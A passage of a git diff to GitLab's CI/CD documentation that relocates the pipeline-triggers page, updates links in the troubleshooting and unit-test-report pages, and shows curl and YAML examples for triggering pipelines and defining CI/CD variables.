API](../../api/projects.md) or by visiting the **CI/CD** -settings page which provides self-explanatory examples. - -When a rerun of a pipeline is triggered, jobs are marked as triggered `by API` in -**CI/CD > Jobs**. - -You can see which trigger caused a job to run by visiting the single job page. -A part of the trigger's token is exposed in the UI as you can see from the image -below. - - - -By using cURL you can trigger a pipeline rerun with minimal effort, for example: - -```shell -curl --request POST \ - --form token=TOKEN \ - --form ref=main \ - "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" -``` - -In this case, the pipeline for the project with ID `9` runs on the `main` branch. - -Alternatively, you can pass the `token` and `ref` arguments in the query string: - -```shell -curl --request POST \ - "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline?token=TOKEN&ref=main" -``` - -You can also benefit by using triggers in your `.gitlab-ci.yml`. Let's say that -you have two projects, A and B, and you want to trigger a pipeline on the `main` -branch of project B whenever a tag on project A is created. This is the job you -need to add in project A's `.gitlab-ci.yml`: - -```yaml -trigger_pipeline: - stage: deploy - script: - - 'curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"' - rules: - - if: $CI_COMMIT_TAG -``` - -This means that whenever a new tag is pushed on project A, the job runs and the -`trigger_pipeline` job is executed, triggering the pipeline for project B. The -`stage: deploy` ensures that this job runs only after all jobs with -`stage: test` complete successfully. - -## Triggering a pipeline from a webhook - -To trigger a job from a webhook of another project you need to add the following -webhook URL for Push and Tag events (change the project ID, ref and token): - -```plaintext -https://gitlab.example.com/api/v4/projects/9/ref/main/trigger/pipeline?token=TOKEN -``` - -You should pass `ref` as part of the URL, to take precedence over `ref` from -the webhook body that designates the branch ref that fired the trigger in the -source repository. Be sure to URL-encode `ref` if it contains slashes. - -### Using webhook payload in the triggered pipeline - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31197) in GitLab 13.9. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321027) in GitLab 13.11. - -If you trigger a pipeline by using a webhook, you can access the webhook payload with -the `TRIGGER_PAYLOAD` [predefined CI/CD variable](../variables/predefined_variables.md). -The payload is exposed as a [file-type variable](../variables/README.md#cicd-variable-types), -so you can access the data with `cat $TRIGGER_PAYLOAD` or a similar command. - -## Making use of trigger variables - -You can pass any number of arbitrary variables in the trigger API call and they -are available in GitLab CI/CD so that they can be used in your `.gitlab-ci.yml` -file. The parameter is of the form: - -```plaintext -variables[key]=value -``` - -This information is also exposed in the UI. Please note that _values_ are only viewable by Owners and Maintainers. - - - -Using trigger variables can be proven useful for a variety of reasons: - -- Identifiable jobs. Since the variable is exposed in the UI you can know - why the pipeline was triggered if you pass a variable that explains the - purpose. -- Conditional job processing. You can have conditional jobs that run whenever - a certain variable is present. - -Consider the following `.gitlab-ci.yml` where we set three -[stages](../yaml/README.md#stages) and the `upload_package` job is run only -when all jobs from the test and build stages pass. When the `UPLOAD_TO_S3` -variable is non-zero, `make upload` is run. - -```yaml -stages: - - test - - build - - package - -run_tests: - stage: test - script: - - make test - -build_package: - stage: build - script: - - make build - -upload_package: - stage: package - script: - - if [ -n "${UPLOAD_TO_S3}" ]; then make upload; fi -``` - -You can then trigger a pipeline while you pass the `UPLOAD_TO_S3` variable -and the script of the `upload_package` job is run: - -```shell -curl --request POST \ - --form token=TOKEN \ - --form ref=main \ - --form "variables[UPLOAD_TO_S3]=true" \ - "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" -``` - -Trigger variables have the [highest priority](../variables/README.md#cicd-variable-precedence) -of all types of variables. - -## Using cron to trigger nightly pipelines - -Whether you craft a script or just run cURL directly, you can trigger jobs -in conjunction with cron. The example below triggers a job on the `main` branch -of project with ID `9` every night at `00:30`: - -```shell -30 0 * * * curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" -``` - -This behavior can also be achieved through the GitLab UI with -[pipeline schedules](../pipelines/schedules.md). - -## Legacy triggers - -Old triggers, created before GitLab 9.0 are marked as legacy. - -Triggers with the legacy label do not have an associated user and only have -access to the current project. They are considered deprecated and might be -removed with one of the future versions of GitLab. - -## Troubleshooting - -### '404 not found' when triggering a pipeline - -A response of `{"message":"404 Not Found"}` when triggering a pipeline might be caused -by using a Personal Access Token instead of a trigger token. [Add a new trigger](#adding-a-new-trigger) -and use that token to authenticate when triggering a pipeline. +<!-- This redirect file can be deleted after 2021-09-28. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/triggers/index.md b/doc/ci/triggers/index.md new file mode 100644 index 00000000000..383887bd389 --- /dev/null +++ b/doc/ci/triggers/index.md @@ -0,0 +1,288 @@ +--- +stage: Verify +group: Pipeline Execution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: tutorial +--- + +# Triggering pipelines through the API **(FREE)** + +Triggers can be used to force a pipeline rerun of a specific `ref` (branch or +tag) with an API call. + +## Authentication tokens + +The following methods of authentication are supported: + +- [Trigger token](#trigger-token) +- [CI job token](#ci-job-token) + +If using the `$CI_PIPELINE_SOURCE` [predefined CI/CD variable](../variables/predefined_variables.md) +to limit which jobs run in a pipeline, the value could be either `pipeline` or `trigger`, +depending on which trigger method is used. + +| `$CI_PIPELINE_SOURCE` value | Trigger method | +|-----------------------------|----------------| +| `pipeline` | Using the `trigger:` keyword in the CI/CD configuration file, or using the trigger API with `$CI_JOB_TOKEN`. | +| `trigger` | Using the trigger API using a generated trigger token | + +This also applies when using the `pipelines` or `triggers` keywords with the legacy [`only/except` basic syntax](../yaml/index.md#only--except). + +### Trigger token + +A unique trigger token can be obtained when [adding a new trigger](#adding-a-new-trigger). + +WARNING: +Passing plain text tokens in public projects is a security issue. Potential +attackers can impersonate the user that exposed their trigger token publicly in +their `.gitlab-ci.yml` file. Use [CI/CD variables](../variables/index.md) +to protect trigger tokens. + +### CI job token + +You can use the `CI_JOB_TOKEN` [CI/CD variable](../variables/index.md#predefined-cicd-variables) (used to authenticate +with the [GitLab Container Registry](../../user/packages/container_registry/index.md)) in the following cases. + +#### When used with multi-project pipelines + +> - Use of `CI_JOB_TOKEN` for multi-project pipelines was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2017) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.3. +> - Use of `CI_JOB_TOKEN` for multi-project pipelines was [made available](https://gitlab.com/gitlab-org/gitlab/-/issues/31573) in all tiers in GitLab 12.4. + +This way of triggering can only be used when invoked inside `.gitlab-ci.yml`, +and it creates a dependent pipeline relation visible on the +[pipeline graph](../pipelines/multi_project_pipelines.md). For example: + +```yaml +trigger_pipeline: + stage: deploy + script: + - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" + rules: + - if: $CI_COMMIT_TAG +``` + +Pipelines triggered that way also expose a special variable: +`CI_PIPELINE_SOURCE=pipeline`. + +Read more about the [pipelines trigger API](../../api/pipeline_triggers.md). + +#### When a pipeline depends on the artifacts of another pipeline **(PREMIUM)** + +> The use of `CI_JOB_TOKEN` in the artifacts download API was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2346) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.5. + +With the introduction of dependencies between different projects, one of +them may need to access artifacts created by a previous one. This process +must be granted for authorized accesses, and it can be done using the +`CI_JOB_TOKEN` variable that identifies a specific job. For example: + +```yaml +build_submodule: + image: debian + stage: test + script: + - apt update && apt install -y unzip + - curl --location --output artifacts.zip "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/main/download?job=test&job_token=$CI_JOB_TOKEN" + - unzip artifacts.zip + rules: + - if: $CI_COMMIT_TAG +``` + +This allows you to use that for multi-project pipelines and download artifacts +from any project to which you have access as this follows the same principles +with the [permission model](../../user/permissions.md#job-permissions). + +Read more about the [jobs API](../../api/job_artifacts.md#download-the-artifacts-archive). + +## Adding a new trigger + +Go to your +**Settings > CI/CD** under **Triggers** to add a new trigger. The **Add trigger** button creates +a new token which you can then use to trigger a rerun of this +particular project's pipeline. + +Every new trigger you create, gets assigned a different token which you can +then use inside your scripts or `.gitlab-ci.yml`. You also have a nice +overview of the time the triggers were last used. + + + +## Revoking a trigger + +You can revoke a trigger any time by going at your project's +**Settings > CI/CD** under **Triggers** and hitting the **Revoke** button. +The action is irreversible. + +## Triggering a pipeline + +To trigger a pipeline you need to send a `POST` request to the GitLab API endpoint: + +```plaintext +POST /projects/:id/trigger/pipeline +``` + +The required parameters are the [trigger's `token`](#authentication-tokens) +and the Git `ref` on which the trigger is performed. Valid refs are +branches or tags. The `:id` of a project can be found by +[querying the API](../../api/projects.md) or by visiting the **CI/CD** +settings page which provides self-explanatory examples. + +When a rerun of a pipeline is triggered, jobs are labeled as `triggered` in +**CI/CD > Jobs**. + +You can see which trigger caused a job to run by visiting the single job page. +A part of the trigger's token is exposed in the UI as you can see from the image +below. + + + +By using cURL you can trigger a pipeline rerun with minimal effort, for example: + +```shell +curl --request POST \ + --form token=TOKEN \ + --form ref=main \ + "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" +``` + +In this case, the pipeline for the project with ID `9` runs on the `main` branch. + +Alternatively, you can pass the `token` and `ref` arguments in the query string: + +```shell +curl --request POST \ + "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline?token=TOKEN&ref=main" +``` + +You can also benefit by using triggers in your `.gitlab-ci.yml`. Let's say that +you have two projects, A and B, and you want to trigger a pipeline on the `main` +branch of project B whenever a tag on project A is created. This is the job you +need to add in project A's `.gitlab-ci.yml`: + +```yaml +trigger_pipeline: + stage: deploy + script: + - 'curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"' + rules: + - if: $CI_COMMIT_TAG +``` + +This means that whenever a new tag is pushed on project A, the job runs and the +`trigger_pipeline` job is executed, triggering the pipeline for project B. The +`stage: deploy` ensures that this job runs only after all jobs with +`stage: test` complete successfully. + +## Triggering a pipeline from a webhook + +To trigger a job from a webhook of another project you need to add the following +webhook URL for Push and Tag events (change the project ID, ref and token): + +```plaintext +https://gitlab.example.com/api/v4/projects/9/ref/main/trigger/pipeline?token=TOKEN +``` + +You should pass `ref` as part of the URL, to take precedence over `ref` from +the webhook body that designates the branch ref that fired the trigger in the +source repository. Be sure to URL-encode `ref` if it contains slashes. + +### Using webhook payload in the triggered pipeline + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31197) in GitLab 13.9. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321027) in GitLab 13.11. + +If you trigger a pipeline by using a webhook, you can access the webhook payload with +the `TRIGGER_PAYLOAD` [predefined CI/CD variable](../variables/predefined_variables.md). +The payload is exposed as a [file-type variable](../variables/index.md#cicd-variable-types), +so you can access the data with `cat $TRIGGER_PAYLOAD` or a similar command. + +## Making use of trigger variables + +You can pass any number of arbitrary variables in the trigger API call and they +are available in GitLab CI/CD so that they can be used in your `.gitlab-ci.yml` +file. The parameter is of the form: + +```plaintext +variables[key]=value +``` + +This information is also exposed in the UI. Please note that _values_ are only viewable by Owners and Maintainers. + + + +Using trigger variables can be proven useful for a variety of reasons: + +- Identifiable jobs. Since the variable is exposed in the UI you can know + why the pipeline was triggered if you pass a variable that explains the + purpose. +- Conditional job processing. You can have conditional jobs that run whenever + a certain variable is present. + +Consider the following `.gitlab-ci.yml` where we set three +[stages](../yaml/index.md#stages) and the `upload_package` job is run only +when all jobs from the test and build stages pass. When the `UPLOAD_TO_S3` +variable is non-zero, `make upload` is run. + +```yaml +stages: + - test + - build + - package + +run_tests: + stage: test + script: + - make test + +build_package: + stage: build + script: + - make build + +upload_package: + stage: package + script: + - if [ -n "${UPLOAD_TO_S3}" ]; then make upload; fi +``` + +You can then trigger a pipeline while you pass the `UPLOAD_TO_S3` variable +and the script of the `upload_package` job is run: + +```shell +curl --request POST \ + --form token=TOKEN \ + --form ref=main \ + --form "variables[UPLOAD_TO_S3]=true" \ + "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" +``` + +Trigger variables have the [highest priority](../variables/index.md#cicd-variable-precedence) +of all types of variables. + +## Using cron to trigger nightly pipelines + +Whether you craft a script or just run cURL directly, you can trigger jobs +in conjunction with cron. The example below triggers a job on the `main` branch +of project with ID `9` every night at `00:30`: + +```shell +30 0 * * * curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" +``` + +This behavior can also be achieved through the GitLab UI with +[pipeline schedules](../pipelines/schedules.md). + +## Legacy triggers + +Old triggers, created before GitLab 9.0 are marked as legacy. + +Triggers with the legacy label do not have an associated user and only have +access to the current project. They are considered deprecated and might be +removed with one of the future versions of GitLab. + +## Troubleshooting + +### '404 not found' when triggering a pipeline + +A response of `{"message":"404 Not Found"}` when triggering a pipeline might be caused +by using a Personal Access Token instead of a trigger token. [Add a new trigger](#adding-a-new-trigger) +and use that token to authenticate when triggering a pipeline. diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md index 24a37900e6a..df9b20d1708 100644 --- a/doc/ci/troubleshooting.md +++ b/doc/ci/troubleshooting.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Troubleshooting CI/CD +# Troubleshooting CI/CD **(FREE)** GitLab provides several tools to help make troubleshooting your pipelines easier. @@ -43,34 +43,34 @@ pipeline, and what their values are. A lot of pipeline configuration is dependen on variables, and verifying them is one of the fastest ways to find the source of a problem. -[Export the full list of variables](variables/README.md#list-all-environment-variables) +[Export the full list of variables](variables/index.md#list-all-environment-variables) available in each problematic job. Check if the variables you expect are present, and check if their values are what you expect. ## GitLab CI/CD documentation -The [complete `gitlab-ci.yml` reference](yaml/README.md) contains a full list of +The [complete `gitlab-ci.yml` reference](yaml/index.md) contains a full list of every keyword you may need to use to configure your pipelines. -You can also look at a large number of pipeline configuration [examples](examples/README.md) -and [templates](examples/README.md#cicd-templates). +You can also look at a large number of pipeline configuration [examples](examples/index.md) +and [templates](examples/index.md#cicd-templates). ### Documentation for pipeline types Some pipeline types have their own detailed usage guides that you should read if you are using that type: -- [Multi-project pipelines](multi_project_pipelines.md): Have your pipeline trigger +- [Multi-project pipelines](pipelines/multi_project_pipelines.md): Have your pipeline trigger a pipeline in a different project. -- [Parent/child pipelines](parent_child_pipelines.md): Have your main pipeline trigger +- [Parent/child pipelines](pipelines/parent_child_pipelines.md): Have your main pipeline trigger and run separate pipelines in the same project. You can also - [dynamically generate the child pipeline's configuration](parent_child_pipelines.md#dynamic-child-pipelines) + [dynamically generate the child pipeline's configuration](pipelines/parent_child_pipelines.md#dynamic-child-pipelines) at runtime. -- [Pipelines for Merge Requests](merge_request_pipelines/index.md): Run a pipeline +- [Pipelines for Merge Requests](pipelines/merge_request_pipelines.md): Run a pipeline in the context of a merge request. - - [Pipelines for Merge Results](merge_request_pipelines/pipelines_for_merged_results/index.md): + - [Pipelines for Merge Results](pipelines/pipelines_for_merged_results.md): Pipelines for merge requests that run on the combined source and target branch - - [Merge Trains](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md): + - [Merge Trains](pipelines/merge_trains.md): Multiple pipelines for merged results that queue and run automatically before changes are merged. @@ -80,7 +80,7 @@ There are troubleshooting guides available for some CI/CD features and related t - [Container Registry](../user/packages/container_registry/index.md#troubleshooting-the-gitlab-container-registry) - [GitLab Runner](https://docs.gitlab.com/runner/faq/) -- [Merge Trains](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md#troubleshooting) +- [Merge Trains](pipelines/merge_trains.md#troubleshooting) - [Docker Build](docker/using_docker_build.md#troubleshooting) - [Environments](environments/deployment_safety.md#ensure-only-one-deployment-job-runs-at-a-time) @@ -105,7 +105,7 @@ If a pipeline does not seem to run at all, with no error message, it may also be due to `rules` or `only/except` configuration, or the `workflow: rules` keyword. If you are converting from `only/except` to the `rules` keyword, you should check -the [`rules` configuration details](yaml/README.md#rules) carefully. The behavior +the [`rules` configuration details](yaml/index.md#rules) carefully. The behavior of `only/except` and `rules` is different and can cause unexpected behavior when migrating between the two. @@ -123,8 +123,8 @@ This is usually caused by the `rules` configuration, and there are several ways #### A job is not in the pipeline -GitLab determines if a job is added to a pipeline based on the [`only/except`](yaml/README.md#only--except) -or [`rules`](yaml/README.md#rules) defined for the job. If it didn't run, it's probably +GitLab determines if a job is added to a pipeline based on the [`only/except`](yaml/index.md#only--except) +or [`rules`](yaml/index.md#rules) defined for the job. If it didn't run, it's probably not evaluating as you expect. #### No pipeline or the wrong type of pipeline runs @@ -141,7 +141,7 @@ be checked to make sure the jobs are added to the correct pipeline type. For example, if a merge request pipeline did not run, the jobs may have been added to a branch pipeline instead. -It's also possible that your [`workflow: rules`](yaml/README.md#workflow) configuration +It's also possible that your [`workflow: rules`](yaml/index.md#workflow) configuration blocked the pipeline, or allowed the wrong pipeline type. ### A job runs unexpectedly @@ -150,8 +150,8 @@ A common reason a job is added to a pipeline unexpectedly is because the `change keyword always evaluates to true in certain cases. For example, `changes` is always true in certain pipeline types, including scheduled pipelines and pipelines for tags. -The `changes` keyword is used in combination with [`only/except`](yaml/README.md#onlychanges--exceptchanges) -or [`rules`](yaml/README.md#ruleschanges)). It's recommended to use `changes` with +The `changes` keyword is used in combination with [`only/except`](yaml/index.md#onlychanges--exceptchanges) +or [`rules`](yaml/index.md#ruleschanges)). It's recommended to use `changes` with `rules` or `only/except` configuration that ensures the job is only added to branch pipelines or merge request pipelines. @@ -170,8 +170,8 @@ a branch to its remote repository. To illustrate the problem, suppose you've had This is because the previous pipeline cannot find a checkout-SHA (which is associated with the pipeline record) from the `example` branch that the commit history has already been overwritten by the force-push. -Similarly, [Pipelines for merged results](merge_request_pipelines/pipelines_for_merged_results/index.md) -might have failed intermittently due to [the same reason](merge_request_pipelines/pipelines_for_merged_results/index.md#intermittently-pipelines-fail-by-fatal-reference-is-not-a-tree-error). +Similarly, [Pipelines for merged results](pipelines/pipelines_for_merged_results.md) +might have failed intermittently due to [the same reason](pipelines/pipelines_for_merged_results.md#intermittently-pipelines-fail-by-fatal-reference-is-not-a-tree-error). As of GitLab 12.4, we've improved this behavior by persisting pipeline refs exclusively. To illustrate its life cycle: @@ -211,7 +211,7 @@ is displayed. If the pipeline is still running, the **Merge** button is replaced with the **Merge when pipeline succeeds** button. -If [**Merge Trains**](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) +If [**Merge Trains**](pipelines/merge_trains.md) are enabled, the button is either **Add to merge train** or **Add to merge train when pipeline succeeds**. **(PREMIUM)** #### "A CI/CD pipeline must run and be successful before merge" message @@ -224,9 +224,9 @@ should disable **Pipelines must succeed** so you can accept merge requests. ### "The pipeline for this merge request did not complete. Push a new commit to fix the failure or check the troubleshooting documentation to see other possible actions." message -This message is shown if the [merge request pipeline](merge_request_pipelines/index.md), -[merged results pipeline](merge_request_pipelines/pipelines_for_merged_results/index.md), -or [merge train pipeline](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) +This message is shown if the [merge request pipeline](pipelines/merge_request_pipelines.md), +[merged results pipeline](pipelines/pipelines_for_merged_results.md), +or [merge train pipeline](pipelines/merge_trains.md) has failed or been canceled. If a merge request pipeline or merged result pipeline was canceled or failed, you can: @@ -249,17 +249,17 @@ If the merge train pipeline was canceled before the merge request was merged, wi Pipeline configuration warnings are shown when you: -- [Validate configuration with the CI Lint tool](yaml/README.md). +- [Validate configuration with the CI Lint tool](yaml/index.md). - [Manually run a pipeline](pipelines/index.md#run-a-pipeline-manually). ### "Job may allow multiple pipelines to run for a single action" warning -When you use [`rules`](yaml/README.md#rules) with a `when:` clause without an `if:` +When you use [`rules`](yaml/index.md#rules) with a `when:` clause without an `if:` clause, multiple pipelines may run. Usually this occurs when you push a commit to a branch that has an open merge request associated with it. To [prevent duplicate pipelines](jobs/job_control.md#avoid-duplicate-pipelines), use -[`workflow: rules`](yaml/README.md#workflow) or rewrite your rules to control +[`workflow: rules`](yaml/index.md#workflow) or rewrite your rules to control which pipelines can run. ### Console workaround if job using resource_group gets stuck diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md index 7b5f6b5167d..f845c79ef45 100644 --- a/doc/ci/unit_test_reports.md +++ b/doc/ci/unit_test_reports.md @@ -40,8 +40,8 @@ Consider the following workflow: ## How it works -First, GitLab Runner uploads all [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html) -as [artifacts](yaml/README.md#artifactsreportsjunit) to GitLab. Then, when you visit a merge request, GitLab starts +First, GitLab Runner uploads all [JUnit report format XML files](https://www.ibm.com/docs/en/adfz/developer-for-zos/14.1.0?topic=formats-junit-xml-format) +as [artifacts](yaml/index.md#artifactsreportsjunit) to GitLab. Then, when you visit a merge request, GitLab starts comparing the head and base branch's JUnit report format XML files, where: - The base branch is the target branch (usually the default branch). @@ -77,7 +77,7 @@ If a test failed in the project's default branch in the last 14 days, a message ## How to set it up To enable the Unit test reports in merge requests, you need to add -[`artifacts:reports:junit`](yaml/README.md#artifactsreportsjunit) +[`artifacts:reports:junit`](yaml/index.md#artifactsreportsjunit) in `.gitlab-ci.yml`, and specify the path(s) of the generated test reports. The reports must be `.xml` files, otherwise [GitLab returns an Error 500](https://gitlab.com/gitlab-org/gitlab/-/issues/216575). @@ -87,8 +87,8 @@ XML reports are stored in GitLab as artifacts and their results are shown in the merge request widget. To make the Unit test report output files browsable, include them with the -[`artifacts:paths`](yaml/README.md#artifactspaths) keyword as well, as shown in the [Ruby example](#ruby-example). -To upload the report even if the job fails (for example if the tests do not pass), use the [`artifacts:when:always`](yaml/README.md#artifactswhen) +[`artifacts:paths`](yaml/index.md#artifactspaths) keyword as well, as shown in the [Ruby example](#ruby-example). +To upload the report even if the job fails (for example if the tests do not pass), use the [`artifacts:when:always`](yaml/index.md#artifactswhen) keyword. You cannot have multiple tests with the same name and class in your JUnit report format XML file. @@ -350,12 +350,17 @@ If parsing JUnit report XML results in an error, an indicator is shown next to t  +NOTE: +GitLab.com has a 500,000 [test case parsing limit](../user/gitlab_com/#gitlab-cicd). Self-managed administrators can manage this setting on their instance. + +GitLab does not parse very [large nodes](https://nokogiri.org/tutorials/parsing_an_html_xml_document.html#parse-options) of JUnit reports. There is [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/268035) open to make this optional. + ## Viewing JUnit screenshots on GitLab > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202114) in GitLab 13.0 behind the `:junit_pipeline_screenshots_view` feature flag, disabled by default. > - The feature flag was removed and was [made generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/216979) in GitLab 13.12. -Upload your screenshots as [artifacts](yaml/README.md#artifactsreportsjunit) to GitLab. If JUnit +Upload your screenshots as [artifacts](yaml/index.md#artifactsreportsjunit) to GitLab. If JUnit report format XML files contain an `attachment` tag, GitLab parses the attachment. Note that: - The `attachment` tag **must** contain the relative path to `$CI_PROJECT_DIR` of the screenshots you uploaded. For @@ -368,7 +373,7 @@ report format XML files contain an `attachment` tag, GitLab parses the attachmen ``` - You should set the job that uploads the screenshot to - [`artifacts:when: always`](yaml/README.md#artifactswhen) so that it still uploads a screenshot + [`artifacts:when: always`](yaml/index.md#artifactswhen) so that it still uploads a screenshot when a test fails. A link to the test case attachment appears in the test case details in diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index 1db2d0dd888..5ab8653dc35 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -1,815 +1,8 @@ --- -stage: Verify -group: Pipeline Authoring -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: reference +redirect_to: 'index.md' --- -# GitLab CI/CD variables **(FREE)** +This document was moved to [another location](index.md). -CI/CD variables are a type of environment variable. You can use them to: - -- Control the behavior of jobs and [pipelines](../pipelines/index.md). -- Store values you want to re-use. -- Avoid hard-coding values in your `.gitlab-ci.yml` file. - -You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom: - -- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). -- [Project CI/CD variables](#add-a-cicd-variable-to-a-project). -- [Group CI/CD variables](#add-a-cicd-variable-to-a-group). -- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance). - -> For more information about advanced use of GitLab CI/CD: -> -> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Get to productivity faster with these [7 advanced GitLab CI workflow hacks](https://about.gitlab.com/webcast/7cicd-hacks/) -> shared by GitLab engineers. -> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Learn how the Cloud Native Computing Foundation (CNCF) [eliminates the complexity](https://about.gitlab.com/customers/cncf/) -> of managing projects across many cloud providers with GitLab CI/CD. - -## Predefined CI/CD variables - -GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md) -you can use in pipelines configuration and job scripts. - -### Use predefined CI/CD variables - -You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first. - -This example shows how to output a job's stage by using the `CI_JOB_STAGE` -predefined variable: - -```yaml -test_variable: - stage: test - script: - - echo "$CI_JOB_STAGE" -``` - -The script outputs the `stage` for the `test_variable`, which is `test`: - - - -## Custom CI/CD variables - -You can create custom CI/CD variables: - -- For a project: - - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). - - [In the project's settings](#add-a-cicd-variable-to-a-project). - - [With the API](../../api/project_level_variables.md). -- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group). -- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance). - -You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), -or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). - -There are two types of variables: [`File` or `Variable`](#cicd-variable-types). - -Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html) -to execute scripts. Each shell has its own set of reserved variable names. - -Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md). - -### Create a custom CI/CD variable in the `.gitlab-ci.yml` file - -To create a custom variable in the [`.gitlab-ci.yml`](../yaml/README.md#variables) file, -define the variable and value with `variables` keyword. - -You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file. -If the variable is at the top level, it's globally available and all jobs can use it. -If it's defined in a job, only that job can use it. - -```yaml -variables: - TEST_VAR: "All jobs can use this variable's value" - -job1: - variables: - TEST_VAR_JOB: "Only job1 can use this variable's value" - script: - - echo "$TEST_VAR" and "$TEST_VAR_JOB" -``` - -Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project -configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are -visible in the repository. Store sensitive variables containing secrets, keys, and so on -in project settings. - -Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md). - -If you don't want globally defined variables to be available in a job, set `variables` -to `{}`: - -```yaml -job1: - variables: {} - script: - - echo This job does not need any variables -``` - -You can use variables to help define other variables. Use `$$` to ignore a variable -name inside another variable: - -```yaml -variables: - FLAGS: '-al' - LS_CMD: 'ls "$FLAGS" $$TMP_DIR' -script: - - 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR' -``` - -Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines) -keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) -for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). - -### Add a CI/CD variable to a project - -You can add CI/CD variables to a project's settings. Only project members with the -[Maintainer role](../../user/permissions.md#project-members-permissions) -can add or update project CI/CD variables. To keep a CI/CD variable secret, put it -in the project settings, not in the `.gitlab-ci.yml` file. - -To add or update variables in the project settings: - -1. Go to your project's **Settings > CI/CD** and expand the **Variables** section. -1. Select the **Add Variable** button and fill in the details: - - - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - - **Value**: No limitations. - - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope**: (Optional) `All`, or specific [environments](../environments/index.md). - - **Protect variable** (Optional): If selected, the variable is only available - in pipelines that run on protected branches or tags. - - **Mask variable** (Optional): If selected, the variable's **Value** is masked - in job logs. The variable fails to save if the value does not meet the - [masking requirements](#mask-a-cicd-variable). - -After you create a variable, you can use it in the `.gitlab-ci.yml` file: - -```yaml -test_variable: - stage: test - script: - - echo "$CI_JOB_STAGE" # calls a predefined variable - - echo "$TEST" # calls a custom variable of type `env_var` - - echo "$GREETING" # calls a custom variable of type `file` that contains the path to the temp file - - cat "$GREETING" # the temp file itself contains the variable value -``` - -The output is: - - - -### Add a CI/CD variable to a group - -> Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11 - -To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. - -Use group variables to store secrets like passwords, SSH keys, and credentials, if you: - -- Do **not** use an external key store. -- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). - -To add a group variable: - -1. In the group, go to **Settings > CI/CD**. -1. Select the **Add Variable** button and fill in the details: - - - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - - **Value**: No limitations. - - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope** (Optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** - - **Protect variable** (Optional): If selected, the variable is only available - in pipelines that run on protected branches or tags. - - **Mask variable** (Optional): If selected, the variable's **Value** 